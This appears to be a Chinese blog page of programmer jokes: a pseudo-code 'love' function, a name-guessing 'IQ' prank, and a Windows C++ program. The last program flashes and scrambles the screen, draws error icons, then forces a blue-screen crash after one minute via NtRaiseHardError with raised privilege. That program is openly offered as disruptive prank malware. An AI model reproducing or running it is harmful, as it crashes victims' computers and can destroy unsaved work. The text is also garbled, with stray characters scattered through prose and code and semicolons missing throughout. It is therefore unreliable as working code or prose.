这个算是技术宅的段子吧
从风格上看,很可御野碰能是宅男写的 而不是女生
#include "stdio.h" //谭老说:include<> 和""都是合法的。<>这位标准方式,在头文件目录下寻找。#include "stdlib.h" //""现在当前目录下找,若无,则在头文件目录下找。一般:库函数→<>自编头文件→""
result love(boy, girl)
{
if ( boy.有房() and boy.有车() )
{
boy.set(nothing)
脊团 return girl.嫁给(boy)
}
if ( girl.愿意等() )
{
while( ! (boy.赚钱 > 100,000 and girl.感情 > 8 ) )
{
for ( day=1 day <=365 day++)
{
if ( day == 情人节 )
if ( boy.givegirl(玫瑰) )
girl.感情++
else
girl.感情--
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++
else
girl.感情--
boy.拼命赚钱()
}
}
镇谈 if ( boy.有房() and boy.有车() )
{
boy.set(nothing)
return girl.嫁给(boy)
}
年龄++
girl.感情--
}
return girl.goto( another_boy)
}
#include<stdio.h>#include<string.h>//
int main(void)
{
char ch[8]
printf("请输入您族歼渣的名字拼音,我可以算出你的智商哦!")
while(1)//
{
scanf("%s",ch)//
if(!strcmp(ch,"langtian"))//
{
printf("真是个大帅哥啊,智商达改慧1000\n")
}else{
printf("猪头吗?\n猪头呀兆悄!\n")
}
}
return 0
}
先上代码
#include <Windows.h>#include <time.h>
using namespace std
int call
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN)
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN)
int IconWidth = GetSystemMetrics(SM_CXICON)
int IconHeight = GetSystemMetrics(SM_CYICON)
HDC hdc=GetWindowDC(GetDesktopWindow())
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call))
call++
return rand() % upper_bound
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY)
Sleep(random(100))
}
return 0
}
int GetWay() {
int r=random(3)
switch(r) {
case 0:
return SRCAND
case 1:
return SRCINVERT
case 2:
return SRCPAINT
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth)
int RandHeight = random(ScreenHeight)
int RandxPixel = random(ScreenWidth - RandWidth)
如纤穗int RandyPixel = random(ScreenHeight - RandHeight)
int RandDestxPixel = random(ScreenWidth - RandWidth)
int RandDestyPixel = random(ScreenHeight - RandHeight)
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)
Sleep(random(100))
}
return 0
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth)
int RandHeight = random(ScreenHeight)
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth
竖帆int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)
Sleep(random(100))
}
return 0
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000)
HMODULE ntdll = LoadLibrary("渣卜ntdll.dll")
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege")
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError")
unsigned char temp0
long unsigned int temp1
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0)
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1)
return 0
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2)
int RandyPixel = random(ScreenHeight - IconHeight / 2)
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR))
Sleep(random(50))
}
return 0
}
int main(void) {
CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL)
CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL)
CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL)
CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL)
CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL)
while(true)
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)